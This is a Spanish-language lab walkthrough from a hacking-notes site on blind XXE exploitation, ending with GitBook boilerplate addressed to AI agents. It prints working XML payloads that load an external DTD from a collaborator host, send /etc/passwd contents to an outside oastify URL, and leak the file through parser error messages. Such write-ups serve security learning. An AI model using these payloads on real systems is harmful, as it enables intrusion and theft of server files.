> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md).

# Filtrado de datos XXE ciego mediante mensajes de error

### Explotación de XXE ciego para recuperar datos mediante mensajes de error

Laboratorio: La función Comprobar stock analiza un XML sin mostrar directamente la respuesta. El objetivo es usar una entidad externa (DTD alojado en un servidor) para provocar un error que mostrará el contenido de la `/etc/passwd` archivo en el mensaje de excepción. Se utiliza la técnica de forzar al analizador a incluir el contenido del archivo en un URI inexistente para que la excepción revele este contenido.

* El punto de entrada analiza XML, pero no devuelve el resultado normalmente.
* El servidor permite la inclusión de un DTD externo (alojado en el dominio de explotación).
* El mensaje de error del analizador contiene suficiente información para que, si el DTD provoca una referencia mal formada que incluya el contenido de un archivo, este contenido aparezca en la excepción.

#### Cargue un DTD externo alojado en el servidor para operar añadiendo un `DOCTYPE` instrucción que apunta a la URL del servidor de explotación:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://qf9v476vsapx2mqf01es1v7cu30xoncc.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/278e2865a2b54a8e7dc744abd6f26686b83e99d7" alt=""><figcaption></figcaption></figure>

El analizador devuelve un error de tipo:/ `XML parser exited with error: org.XML.sax.SAXParseException; systemId: https://qf9v476...; lineNumber: 1; columnNumber: 2; Las declaraciones de marcado... deben estar bien formadas.`

2. Intento directo de listar `/etc/passwd` (problema: demasiadas líneas):

```xml
<!ENTITY % file SYSTEM "file:////etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://rrmwg8iw4b1yen2gc2qtdwjd64c00qof.oastify.com/?content=%file;'>">
%eval;
%exfil;
```

<figure><img src="/files/ee41671b98cfa02117c661775a3d4de2d03ad3f6" alt=""><figcaption></figcaption></figure>

3. Técnica utilizada con contexto de error — insertar el contenido del archivo en una referencia imposible para forzar al analizador a mostrarlo en la excepción:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Al activar la referencia a `file:///nonexistent/%file;`, el analizador genera una excepción que contiene el texto del recurso incluido (`/etc/passwd`), lo que permite exfiltrar el contenido a pesar de no haber una devolución normal al funcionamiento.

<figure><img src="/files/2c8990f38a5d78d762200054c281bf0b3004c1cd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-data-exfiltration-via-error-messages.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
